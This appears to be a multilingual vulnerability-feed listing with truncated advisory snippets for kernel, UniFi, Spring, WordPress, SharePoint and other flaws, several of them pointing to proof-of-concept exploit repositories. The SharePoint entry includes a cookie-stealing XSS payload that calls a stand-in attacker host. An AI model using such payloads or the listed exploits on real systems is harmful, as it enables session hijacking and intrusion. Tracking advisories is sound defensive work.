EUVD-2026-66502

In the Linux kernel, the following vulnerability has been resolved: mptcp: avoid combining some incoming suboptions Some MPTCP suboptions are mutually exclusive according to the RFC8684, but also because in different places, the code doesn't expect some combinations to be present. That's speciall...

EUVD-2026-66461

In the Linux kernel, the following vulnerability has been resolved: s390/zcrypt: Improve CCA CPRB length and overflow checks The xcrbmsgtotype6cprbmsgx function lacks proper input validation, creating security vulnerabilities: 1. Integer overflow after CEIL4 alignment: Signed int variables could...

EUVD-2026-66460

In the Linux kernel, the following vulnerability has been resolved: s390/zcrypt: Improve EP11 CPRB length and overflow checks The xcrbmsgtotype6ep11cprbmsgx function lacks proper input validation, creating security vulnerabilities: 1. Missing minimum size validation: The ep11cprb structure and...

EUVD-2026-66367

A malicious actor with access to the network and high privileges could exploit an Improper Input Validation vulnerability found in UniFi OS Server to execute a Command Injection on the host device...

EUVD-2026-66366

A malicious actor with access to the network and high privileges could exploit an Improper Input Validation vulnerability found in UniFi OS Server to execute a Command Injection on the host device...

CVE-2026-80576

A flaw was found in the Linux kernel's drm/amdgpu component. A local attacker could exploit this vulnerability by providing oversized input buffer IB bytes to the amdgpucsp2ib function on Graphics GFX rings. This lack of size validation allows the oversized values to corrupt adjacent control bits...

CVE-2026-78137

The StoreGrowth WordPress plugin before 2.1.2 does not validate a browser-supplied product price on two of its unauthenticated actions, allowing unauthenticated attackers to add a product to the cart at an arbitrary, attacker-chosen price that carries through to the checkout total when the BOGO...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Composer Perforce रिपॉजिटरी रिमोट कोड एक्ज़ीक्यूशन RCE 📋 सारांश Composer के Perforce रिपॉजिटरी ड्राइवर में कमांड इंजेक्शन भेद्यता, जो रिपॉजिटरी URL प्रोसेसिंग में अपर्याप्त इनपुट सत्यापन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन RCE की अनुमति देती है। 🎯 भेद्यता विवरण...

CVE-2026-47885 Spring Framework maxPartSize Ignored in PartEventHttpMessageReader

The PartEventHttpMessageReader in Spring WebFlux does not enforce the maxPartSize limit when maxInMemorySize is set to -1. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28...

CVE-2026-47885

This vulnerability affects the PartEventHttpMessageReader in Spring WebFlux , which fails to enforce the maxPartSize limit when maxInMemorySize is set to -1, potentially allowing oversized multipart data to be processed without the intended size constraint. Affected versions are Spring Framework ...

CVE-2026-3055

CVE-2026-3055 - Vulnerabilità di Sicurezza Gravità: N/D CVSS: N/D Impatto: N/D Pubblicata: 2026-03-23 Note Legali Solo per test di sicurezza autorizzati. Causa Principale versione breve Validazione insufficiente dell'input in NetScaler ADC e NetScaler Gateway quando configurati come SAML IDP che...

CVE-2026-20404-MediaTek-modem-remote-DoS-rogue-base-station-scenario-

CVE-2026-20404-MediaTek-Modem-Remote-DoS-Rogue-Base-Station-Szenario- Eine Eingabevalidierungsproblematik im MediaTek-Modem kann einen Systemabsturz Remote-DoS verursachen, wenn sich ein UE mit einer von einem Angreifer kontrollierten, bösartigen Basisstation verbindet – ohne dass eine...

cve-2024-21683-rce

cve-2024-21683-rce CVE-2024-21683 è una grave vulnerabilità di esecuzione remota di codice RCE che colpisce Confluence Server e Data Center di Atlassian. Questa vulnerabilità ha un punteggio CVSS di 8.3, rientrando nella categoria di gravità alta. Un attaccante può sfruttare questa vulnerabilità...

CVE-2026-43813

CVE-2026-43813 — bypass di enforceEnvironment di CloudAttestation Analisi di reverse engineering del bug di validazione dell'input dell'attestazione PCC che Apple ha distribuito con iOS 26.6, presente in CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter legge il byte...

CVE-2026-0848-PoC-Improper-Input-Validation

CVE-2026-0848 - NLTK StanfordSegmenter RCE PoC ⚠️ WARNUNG Dieser Code führt beliebige Befehle auf deinem System aus. NUR in virtuellen Maschinen oder isolierten Containern verwenden. Beschreibung Funktionaler PoC für CVE-2026-0848. Demonstriert, wie eine bösartige JAR-Datei beliebigen Code...

ThrottleStopPoC

ThrottleStopPoC CVE-2025-7771 : Lettura/scrittura arbitraria di memoria fisica e porte I/O tramite il driver ThrottleStop ThrottleStop è una piccola applicazione legittima usata per monitorare e correggere il throttling della CPU. Dispone di un driver che facilita queste operazioni e che per lo p...

iOS18.6.2-Persistent-Automation-Exploit-in-Siri-Shortcuts-and-Apple-SWC

Validazione Inadeguata degli Input in Siri Shortcuts e Shared Web Credentials Scoperto da: Joseph Goydish II Data di scoperta: 20 agosto 2025 Gravità: Alta Sommario Esecutivo Questo rapporto descrive una catena di vulnerabilità ad alta gravità che interessa Siri Shortcuts e il framework Shared We...

CVE-2014-9219

CVE-2014-9219 CVE-2014-9219 POC de XSS Sobre A vulnerabilidade é causada por um erro de validação de entrada no recurso de redirecionamento em url.php no phpMyAdmin 4.2.x anterior a 4.2.13.1 ao processar o parâmetro url. Um atacante remoto pode enganar a vítima para seguir um link especialmente...

CVE-2026-32201-exploit

Übersicht Python-Exploit für CVE-2026-32201 - unsachgemäße Eingabevalidierung in Microsoft SharePoint Server, die nicht authentifiziertes Netzwerk-Spoofing ermöglicht C:L/I:L. Betroffen: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

CVE-2025-54123

CVE-2025-54123 - Hoverfly-Befehlsinjektion RCE PoC CVE-2025-54123 - Middleware-Befehlsinjektion in Hoverfly 📌 CVE-Details ID : CVE-2025-54123 Typ : Befehlsinjektion / Remote-Code-Ausführung RCE Anbieter : Hoverfly Auswirkungen : Erlaubt authentifizierten Angreifern, beliebige Systembefehle über d...